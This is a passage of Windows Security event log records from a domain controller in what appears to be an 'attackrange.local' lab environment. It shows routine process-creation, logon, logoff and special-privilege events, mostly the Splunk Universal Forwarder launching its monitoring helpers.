member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:13:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256323 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13ec - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:13:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256326 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E888C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:13:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256325 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3E888C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 51442 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:13:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256324 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E888C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:14:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256327 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x111c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:14:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256329 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x444 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:14:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256328 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4cc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:14:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256330 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x7d0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:14:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256331 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x6d4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:14:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256332 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc50 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:14:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256333 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xab8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:14:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256336 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3EBE34 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:14:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256335 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3EBE34 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 51455 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:14:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256334 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3EBE34 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:15:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256337 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1184 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:15:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256339 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12a8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:15:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256338 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1380 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:15:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256340 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10a8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:15:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256341 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x240 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:15:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256342 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf9c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:15:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256343 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe4c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:15:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256346 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3EF387 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:15:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256345 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - 